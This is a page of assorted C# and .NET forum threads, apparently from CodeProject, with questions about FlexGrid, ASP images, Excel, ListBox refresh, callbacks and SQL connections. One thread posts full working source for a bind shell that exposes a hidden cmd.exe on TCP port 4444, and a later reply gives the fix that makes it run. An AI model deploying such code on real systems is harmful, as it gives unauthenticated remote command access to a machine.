|
Sounds like a disaster. There's really no way to merge three projects magically into one.
You need a rewrite, probably.
Christian Graus - Microsoft MVP - C++
"I am working on a project that will convert a FORTRAN code to corresponding C++ code.I am not aware of FORTRAN syntax" ( spotted in the C++/CLI forum )
|
|
|
|
|
If each sub system needs to run independent of each other, would they be separately running executables? If so, you would want to leave them as separate projects and add all of them into a single solution.
When you say "Each of them has a database", do you mean each system has an embedded database or they each access SQL Server (or SQL Express)? If they are embedded databases, you might be ok as long as each process doesn't need access to the data from the other process. Having 3 databases would cause problems, but you can have one database that all three processes share using the same connection string.
|
|
|
|
|
if i have a image that is stored within a database, what is the syntax for me to view it on my asp page, preferabbly in an asp image control? what it is doing at the moment is loading the image onto the asp page but it takes up the full screen
Thanks
|
|
|
|
|
ASP, or ASP.NET ?
You probably want to resize it, otherwise you end up sending the full image down, even though it's viewed at a smaller size.
Christian Graus - Microsoft MVP - C++
"I am working on a project that will convert a FORTRAN code to corresponding C++ code.I am not aware of FORTRAN syntax" ( spotted in the C++/CLI forum )
|
|
|
|
|
Dear Fellow Programmers,
I'm writing a console-based, portbinding shell program. The program listens on TCP port 4444. I then telnet, putty or netcat to port 4444 and I immediately get a shell. For example, from another PC:
C:\telnet 192.168.0.2 4444
and i get:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>
Using only one PC, I could also telnet 127.0.0.1 4444 and it will also work.
However, my problem is, when I type a command, eg,
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>dir
Nothing happens. There was not even any error response from the shell. i tried repeating many commands many times even providing the full path name, but no response. Any help and advise would be much appreciated. The complete source code is as below:
<br />
using System;<br />
using System.Collections.Generic;<br />
using System.Text;<br />
using System.Runtime.InteropServices;<br />
using System.Net.Sockets;<br />
using System.IO;<br />
<br />
namespace RemoteCmdExe<br />
{<br />
class Program<br />
{<br />
#region win32 API Imports<br />
[DllImport("kernel32.dll", SetLastError = true)]<br />
static extern int CreatePipe(ref IntPtr phReadPipe, ref IntPtr phWritePipe,<br />
ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize);<br />
<br />
[StructLayout(LayoutKind.Sequential)]<br />
public struct SECURITY_ATTRIBUTES<br />
{<br />
public int Length;<br />
public IntPtr lpSecurityDescriptor;<br />
public bool bInheritHandle;<br />
}<br />
<br />
<br />
<br />
[DllImport("kernel32.dll")]<br />
private static extern bool CreateProcess(<br />
string lpApplicationName,<br />
string lpCommandLine,<br />
IntPtr lpProcessAttributes,<br />
IntPtr lpThreadAttributes,<br />
bool bInheritHandles,<br />
int dwCreationFlags,<br />
IntPtr lpEnvironment,<br />
string lpCurrentDirectory,<br />
ref STARTUPINFO lpStartupInfo,<br />
ref PROCESS_INFORMATION lpProcessInformation<br />
);<br />
<br />
[StructLayout(LayoutKind.Sequential)]<br />
private struct STARTUPINFO<br />
{<br />
public int cb;<br />
public string lpReserved;<br />
public string lpDesktop;<br />
public string lpTitle;<br />
public int dwX;<br />
public int dwY;<br />
public int dwXSize;<br />
public int dwYSize;<br />
public int dwXCountChars;<br />
public int dwYCountChars;<br />
public int dwFillAttribute;<br />
public int dwFlags;<br />
public short wShowWindow;<br />
public short cbReserved2;<br />
public IntPtr lpReserved2;<br />
public IntPtr hStdInput;<br />
public IntPtr hStdOutput;<br />
public IntPtr hStdError;<br />
}<br />
<br />
[StructLayout(LayoutKind.Sequential)]<br />
private struct PROCESS_INFORMATION<br />
{<br />
public IntPtr hProcess;<br />
public IntPtr hThread;<br />
public int dwProcessId;<br />
public int dwThreadId;<br />
}<br />
<br />
[DllImport("kernel32.dll", SetLastError = true)]<br />
static extern int PeekNamedPipe(IntPtr hNamedPipe, StringBuilder lpBuffer, int nBufferSize, ref int lpBytesRead, ref int lpTotalBytesAvail, ref int lpBytesLeftThisMessage);<br />
<br />
[DllImport("kernel32", SetLastError = true)]<br />
static extern bool ReadFile(IntPtr hFile,<br />
StringBuilder lpBuffer, int nBytesToRead,<br />
ref int nBytesRead, IntPtr overlapped);<br />
<br />
[DllImport("kernel32", SetLastError = true)]<br />
static extern bool WriteFile(IntPtr hFile,<br />
StringBuilder lpBuffer, int nBytesToWrite,<br />
ref int nBytesWritten, IntPtr overlapped);<br />
<br />
<br />
#endregion<br />
<br />
#region winAPI constants<br />
private const short SW_HIDE = 0;<br />
private const short SW_NORMAL = 1;<br />
private const int STARTF_USESTDHANDLES = 0x00000100;<br />
private const int STARTF_USESHOWWINDOW = 0x00000001;<br />
private const int UOI_NAME = 2;<br />
private const int STARTF_USEPOSITION = 0x00000004;<br />
private const int NORMAL_PRIORITY_CLASS = 0x00000020;<br />
private const long DESKTOP_CREATEWINDOW = 0x0002L;<br />
private const long DESKTOP_ENUMERATE = 0x0040L;<br />
private const long DESKTOP_WRITEOBJECTS = 0x0080L;<br />
private const long DESKTOP_SWITCHDESKTOP = 0x0100L;<br />
private const long DESKTOP_CREATEMENU = 0x0004L;<br />
private const long DESKTOP_HOOKCONTROL = 0x0008L;<br />
private const long DESKTOP_READOBJECTS = 0x0001L;<br />
private const long DESKTOP_JOURNALRECORD = 0x0010L;<br />
private const long DESKTOP_JOURNALPLAYBACK = 0x0020L;<br />
private const long AccessRights = DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | DESKTOP_READOBJECTS;<br />
#endregion<br />
<br />
<br />
static void Main(string[] args)<br />
{<br />
int ret = 0;<br />
TcpListener tcpListener;<br />
Socket socketForClient;<br />
NetworkStream networkStream;<br />
StreamReader streamReader;<br />
StreamWriter streamWriter;<br />
<br />
<br />
SECURITY_ATTRIBUTES sa;<br />
sa.Length = 12;<br />
sa.lpSecurityDescriptor = IntPtr.Zero;<br />
sa.bInheritHandle = true;<br />
<br />
IntPtr hReadPipe1=IntPtr.Zero, hWritePipe1=IntPtr.Zero, <br />
hReadPipe2=IntPtr.Zero, hWritePipe2=IntPtr.Zero;
int nPipe1 = CreatePipe(ref hReadPipe1, ref hWritePipe1, ref sa, 0);<br />
int nPipe2 = CreatePipe(ref hReadPipe2, ref hWritePipe2, ref sa, 0);<br />
<br />
STARTUPINFO si = new STARTUPINFO();<br />
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;<br />
si.wShowWindow = SW_HIDE;<br />
si.hStdInput = hReadPipe2;<br />
si.hStdOutput = si.hStdError = hWritePipe1;<br />
string cmdLine= "cmd.exe";<br />
PROCESS_INFORMATION ProcessInformation = new PROCESS_INFORMATION();<br />
bool result = CreateProcess(null, cmdLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref si, ref ProcessInformation);<br />
<br />
int lBytesRead=0;
StringBuilder Buff = new StringBuilder(1024);<br />
int inta = 0, intb = 0; bool gotread = false,gotwrite=false;<br />
<br />
tcpListener = new TcpListener(System.Net.IPAddress.Any, 4444);<br />
tcpListener.Start();<br />
socketForClient = tcpListener.AcceptSocket();<br />
networkStream = new NetworkStream(socketForClient);<br />
streamReader = new StreamReader(networkStream);<br />
streamWriter = new StreamWriter(networkStream);<br />
<br />
string strRead = "";<br />
<br />
while (true)<br />
{<br />
Buff.Remove(0, Buff.Length);<br />
ret = PeekNamedPipe(hReadPipe1, Buff, 1024, ref lBytesRead, ref inta, ref intb);<br />
if (lBytesRead > 0)<br />
{<br />
gotread = ReadFile(hReadPipe1, Buff, lBytesRead, ref lBytesRead, IntPtr.Zero);<br />
if (!gotread) break;<br />
streamWriter.Write(Buff);<br />
streamWriter.Flush();<br />
}<br />
else<br />
{<br />
Buff.Remove(0, Buff.Length);<br />
Buff.Append(streamReader.ReadLine());<br />
int nBytesRead=Buff.Length;<br />
<br />
gotwrite=WriteFile(hWritePipe2, Buff, nBytesRead, ref nBytesRead, IntPtr.Zero);<br />
if (!gotwrite) break;<br />
}<br />
<br />
}<br />
<br />
}<br />
}<br />
}<br />
<br />
Thanks in advance!
Paul
Just code it
|
|
|
|
|
Dear Coders,
I've found the solution.
The command that is injected into the pipe must be terminated by the CR-LF (\r\n). Only then the shell (cmd.exe) can know when the command is terminated and will execute it immediately. The part of the code that needs to be changed is as follows:
<br />
Buff.Append(streamReader.ReadLine());<br />
Buff.Append("\r\n");<br />
Just append CR-LF to the Buff stringbuilder.
Thanks for reading!
We are disturbed not by events, but the views we take of them - Epictetus
|
|
|
|
|
|
when i use axMSFlexGrid 6.0 in Net it can't display correct unicode font. Can you help me? thanks.
QuynhTD
|
|
|
|
|
Doan Quynh wrote: axMSFlexGrid
That thing is nasty, why are you using it ?
Christian Graus - Microsoft MVP - C++
"I am working on a project that will convert a FORTRAN code to corresponding C++ code.I am not aware of FORTRAN syntax" ( spotted in the C++/CLI forum )
|
|
|
|
|
I need to present data with rows and columns unusually. Can u suggest me any solution?
QuynhTD
|
|
|
|
|
|
jacklynn_mei wrote: using the sql dependency
Does this mean the nasty, autogenerated SQL ? I recommend writing your own, in stored procs.
Christian Graus - Microsoft MVP - C++
"I am working on a project that will convert a FORTRAN code to corresponding C++ code.I am not aware of FORTRAN syntax" ( spotted in the C++/CLI forum )
|
|
|
|
|
jacklynn_mei wrote: using the sql dependency
What is "SQL Dependency"?
|
|
|
|
|
I dont knwo what this 'SQL DEPENDENCY' really is? but I think your problem can be solved if u just write a simple SQL Query and well Query your Database and offcourse show the result or whatever!!
hope that helps
|
|
|
|
|
How i read Excel file by C# Program ? and how i put those datas into MS FlexGrid
-- modified at 6:01 Wednesday 15th August, 2007
|
|
|
|
|
shafikshafik wrote: MS FlexGrid
Why is everyone using the MS Flexgrid still ?
You need to download the Office toolkit from Microsoft, it will allow you to control Office from .NET. Of course, the code only works on PCs that have Office installed.
Christian Graus - Microsoft MVP - C++
"I am working on a project that will convert a FORTRAN code to corresponding C++ code.I am not aware of FORTRAN syntax" ( spotted in the C++/CLI forum )
|
|
|
|
|
I add some objects of a user defined class,using Listbox.Items.Add().
And somehow change the value of one item object,don't the display supposed to be changed with that? I have tried update() and refresh(),but it did't work.
How to make the display change with the item object?
|
|
|
|
|
if you're changing the contents dynamically then you need to re-populate the list box by clearing the contents first and then adding them back again
hope it helps
|
|
|
|
|
Thanks for your help!I remove the item before changed,and add it to the listbox again,it works. But I thought it could be implemented by repaint or upate the listbox.
|
|
|
|
|
hi,
i need to pass following callback function to c++ from c#
(*func1)(double *p, double *hx, int m, int n, void *adata)
how do i define this function in c# and how do i pass it to c++?
Hope anyone can help me.
|
|
|
|
|
Hi,
you need to define a delegate, like so:
public delegate void func1(ref double p, ref double hx, int m, int n, IntPtr adata);
then pass an instance such as new DifoEventHandler(myFunc1) to the other party,
where myFunc1 is the method that has the appropriate signature.
If the void* is to be used in a managed environment you would have to
either adapt the definitions statically, or add code that handles it at run-time.
Luc Pattyn [Forum Guidelines] [My Articles]
this weeks tips:
- make Visual display line numbers: Tools/Options/TextEditor/...
- show exceptions with ToString() to see all information
- before you ask a question here, search CodeProject, then Google
|
|
|
|
|
I want to check server connection at every transaction. how?
Syed Shahid Hussain
|
|
|
|
|
just use the server exception I'm forgetting its name at the moment.. but when u catch that one in the catch block. you'd know that the connection has been severed n then you can take appropriate action.
oh yes the name is SqlException (incase your using SQL Server).
use its message or tostring representation intelligently now!
|
|
|
|
|
Thanks friend.
Syed Shahid Hussain
|
|
|
|
|
if i have a text file with a whole lot of names in it, how do i bind that to check boxes on a simple form.
i would use a stream reader to get the data from the text file, could i then use a for each loop to run through the data within the text file and bind each check box to each line in the text file?
Thanks
Dan
|
|
|
|
|